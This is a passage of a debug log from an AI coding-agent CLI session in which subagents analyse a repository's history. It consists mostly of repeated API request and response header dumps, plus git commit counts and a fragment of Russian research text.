\u043a\u043e\u0440\u043f\u0443\u0441\u0435\\n183:\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0438 \u043e\u0446\u0435\u043d\u043e\u0447\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 **\u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d** \u043d\u0430\\n187:## 6. \u0412\u044b\u0432\u043e\u0434\\n192:\u00ab\u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438\u00bb, \u0430 **\u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e\\n193:\u044f\u0434\u0440\u0430 \u0441 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u044f\u0434\u0440\u0430**, \u0433\u0434\u0435 \u0444\u043e\u0440\u043c\u0430\u0442 \u0438 \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u2014 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0430 \u043d\u0430\u0431\u043e\u0440 \u0432\u044b\u0445\u043e\u0434\u043e\u0432\",\n[2026-09-29T07:45:43.569Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:43.569Z] [INFO]       }\n[2026-09-29T07:45:43.569Z] [INFO]     ]\n[2026-09-29T07:45:43.569Z] [INFO]   },\n[2026-09-29T07:45:43.569Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"uuid\": \"ad6e7a56-1f0b-4862-af17-7c9a9f89b1af\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:43.564Z\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:43.569Z] [INFO] }\n[2026-09-29T07:45:43.613Z] [STDOUT] [log_6abaf8] sending request {\n[2026-09-29T07:45:43.619Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:43.627Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:43.637Z] [STDOUT]   options: {\n[2026-09-29T07:45:43.650Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:43.658Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:43.661Z] [STDOUT]     body: {\n[2026-09-29T07:45:43.667Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:43.672Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:43.676Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:43.679Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:43.681Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:43.685Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:43.687Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:43.692Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:43.699Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:43.703Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:43.708Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:43.710Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:43.713Z] [STDOUT]     },\n[2026-09-29T07:45:43.718Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:43.721Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:43.724Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:43.727Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:43.731Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:43.734Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:43.737Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:43.740Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:43.743Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:43.746Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:43.748Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:43.749Z] [STDOUT]     },\n[2026-09-29T07:45:43.752Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:43.756Z] [STDOUT]   },\n[2026-09-29T07:45:43.758Z] [STDOUT]   headers: {\n[2026-09-29T07:45:43.764Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:43.766Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:43.773Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:43.776Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:43.778Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:43.781Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:43.784Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:43.790Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:43.794Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:43.797Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:43.802Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:43.807Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1471\",\n[2026-09-29T07:45:43.813Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:43.819Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:43.824Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:43.829Z] [STDOUT]     \"x-client-request-id\": \"1a842160-be9b-4113-ac56-83fa0cec94db\",\n[2026-09-29T07:45:43.836Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:43.842Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:43.845Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:43.848Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:43.852Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:43.855Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:43.860Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:43.864Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:43.868Z] [STDOUT]   },\n[2026-09-29T07:45:43.873Z] [STDOUT] }\n[2026-09-29T07:45:43.875Z] [INFO] {\n[2026-09-29T07:45:43.875Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"message\": {\n[2026-09-29T07:45:43.875Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:43.875Z] [INFO]     \"content\": [\n[2026-09-29T07:45:43.875Z] [INFO]       {\n[2026-09-29T07:45:43.875Z] [INFO]         \"tool_use_id\": \"toolu_01Vj6E1mvdx8LbAmB1Q3a1bh\",\n[2026-09-29T07:45:43.875Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:43.875Z] [INFO]         \"content\": \"    267 2026-06\\n      9 2026-07\\n    269 2026-08\\n     38 2026-09\\n    193 2026-06\\n      7 2026-07\\n    179 2026-08\\n     30 2026-09\\n174\\n    442 konard\\n    140 Ivan Gulienko\\n      1 unknown\\ncommit 53506bcc692d642415957f5a82959b2997704f55\\nAuthor: Ivan Gulienko <236820953+G-Ivan-A@users.noreply.github.com>\\nDate:   Tue Jun 2 18:54:31 2026 +0300\\n\\n    Add files via upload\\n\\n README.md | 172 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n 1 file changed, 172 insertions(+)\",\n[2026-09-29T07:45:43.875Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:43.875Z] [INFO]       }\n[2026-09-29T07:45:43.875Z] [INFO]     ]\n[2026-09-29T07:45:43.875Z] [INFO]   },\n[2026-09-29T07:45:43.875Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"uuid\": \"e8748658-edb1-4f90-bae3-146c494fe4fa\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:43.656Z\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:43.875Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:43.875Z] [INFO] }\n[2026-09-29T07:45:43.879Z] [STDOUT] [log_a7b8f8] sending request {\n[2026-09-29T07:45:43.883Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:43.888Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:43.892Z] [STDOUT]   options: {\n[2026-09-29T07:45:43.898Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:43.902Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:43.906Z] [STDOUT]     body: {\n[2026-09-29T07:45:43.911Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:43.917Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:43.921Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:43.926Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:43.933Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:43.943Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:43.946Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:43.949Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:43.952Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:43.957Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:43.961Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:43.963Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:43.965Z] [STDOUT]     },\n[2026-09-29T07:45:43.973Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:43.979Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:43.982Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:43.989Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:43.993Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:43.996Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:44.000Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:44.004Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:44.009Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:44.015Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:44.017Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:44.024Z] [STDOUT]     },\n[2026-09-29T07:45:44.029Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:44.033Z] [STDOUT]   },\n[2026-09-29T07:45:44.036Z] [STDOUT]   headers: {\n[2026-09-29T07:45:44.039Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:44.045Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:44.048Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:44.053Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:44.058Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:44.061Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:44.063Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:44.065Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:44.068Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:44.073Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:44.075Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:44.079Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1529\",\n[2026-09-29T07:45:44.082Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:44.085Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:44.088Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:44.092Z] [STDOUT]     \"x-client-request-id\": \"d36450fc-618c-4c9d-b0fd-20bbba5ffb85\",\n[2026-09-29T07:45:44.097Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:44.102Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:44.106Z] [STDOUT]     \"x-stainless-os\": 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\"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:44.528Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:44.532Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:44.538Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:44.541Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:44.545Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.547Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:44.551Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:44.555Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:44.560Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:44.566Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:44.571Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:44.583Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:44.609Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.613Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:44.617Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:44.628Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:44.631Z] [STDOUT]     \"cf-ray\": \"a4295eb81e404d8b-FRA\",\n[2026-09-29T07:45:44.638Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:44.643Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:44.659Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:44.663Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:44.667Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:44 GMT\",\n[2026-09-29T07:45:44.673Z] [STDOUT]     \"request-id\": \"req_011CfXMn9nR8D3gjiAaDPaxJ\",\n[2026-09-29T07:45:44.679Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:44.685Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:44.688Z] [STDOUT]     traceresponse: \"00-1e0d0e8f100c0a2629b371cdc8cde52d-dbaa1e3ea260556e-01\",\n[2026-09-29T07:45:44.694Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:44.697Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:44.700Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:44.703Z] [STDOUT]   },\n[2026-09-29T07:45:44.708Z] [STDOUT]   durationMs: 810,\n[2026-09-29T07:45:44.712Z] [STDOUT] }\n[2026-09-29T07:45:44.718Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:44.721Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:44 GMT\",\n[2026-09-29T07:45:44.723Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:44.732Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:44.740Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:44.743Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:44.746Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:44.754Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:44.759Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:44.763Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:44.768Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:44.775Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:44.779Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:44.783Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:44.787Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:44.790Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:44.793Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:44.796Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.798Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:44.802Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:44.805Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:44.808Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:44.812Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.817Z] [STDOUT]   \"request-id\": \"req_011CfXMn9nR8D3gjiAaDPaxJ\",\n[2026-09-29T07:45:44.820Z] [STDOUT]   \"traceresponse\": \"00-1e0d0e8f100c0a2629b371cdc8cde52d-dbaa1e3ea260556e-01\",\n[2026-09-29T07:45:44.825Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:44.830Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:44.836Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:44.838Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:44.848Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:44.852Z] [STDOUT]   \"cf-ray\": \"a4295eb81e404d8b-FRA\",\n[2026-09-29T07:45:44.855Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:44.858Z] [STDOUT] [log_a7b8f8] response parsed {\n[2026-09-29T07:45:44.861Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:44.865Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:44.868Z] [STDOUT]   body: X {\n[2026-09-29T07:45:44.873Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:44.878Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:44.882Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:44.885Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:44.888Z] [STDOUT]     },\n[2026-09-29T07:45:44.891Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:44.895Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:44.897Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:44.901Z] [STDOUT]   },\n[2026-09-29T07:45:44.906Z] [STDOUT]   durationMs: 811,\n[2026-09-29T07:45:44.909Z] [STDOUT] }\n[2026-09-29T07:45:44.916Z] [STDOUT] [log_6abaf8, request-id: \"req_011CfXMn9R5XKMtjbvnPSGB3\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1270ms\n[2026-09-29T07:45:44.920Z] [STDOUT] [log_6abaf8] response start {\n[2026-09-29T07:45:44.924Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:44.928Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:44.936Z] [STDOUT]   headers: {\n[2026-09-29T07:45:44.945Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:44.955Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:44.959Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:44.963Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:44.966Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:44.970Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.972Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:44.977Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:44.982Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:44.985Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:44.988Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:44.992Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:44.995Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:44.999Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:45.004Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:45.008Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:45.014Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:45.017Z] [STDOUT]     \"cf-ray\": \"a4295eb79f0629ad-FRA\",\n[2026-09-29T07:45:45.020Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:45.025Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:45.028Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:45.031Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:45.037Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:44 GMT\",\n[2026-09-29T07:45:45.041Z] [STDOUT]     \"request-id\": \"req_011CfXMn9R5XKMtjbvnPSGB3\",\n[2026-09-29T07:45:45.043Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:45.048Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:45.050Z] [STDOUT]     traceresponse: \"00-c58a57665c356fad1b2b2d1b4f7a599b-944d7aef3e3f4641-01\",\n[2026-09-29T07:45:45.053Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:45.057Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:45.061Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:45.063Z] [STDOUT]   },\n[2026-09-29T07:45:45.068Z] [STDOUT]   durationMs: 1270,\n[2026-09-29T07:45:45.071Z] [STDOUT] }\n[2026-09-29T07:45:45.074Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:45.077Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:44 GMT\",\n[2026-09-29T07:45:45.081Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:45.083Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:45.086Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:45.088Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:45.091Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:45.094Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:45.097Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:45.100Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:45.104Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:45.108Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:45.113Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:45.118Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:45.125Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:45.131Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": 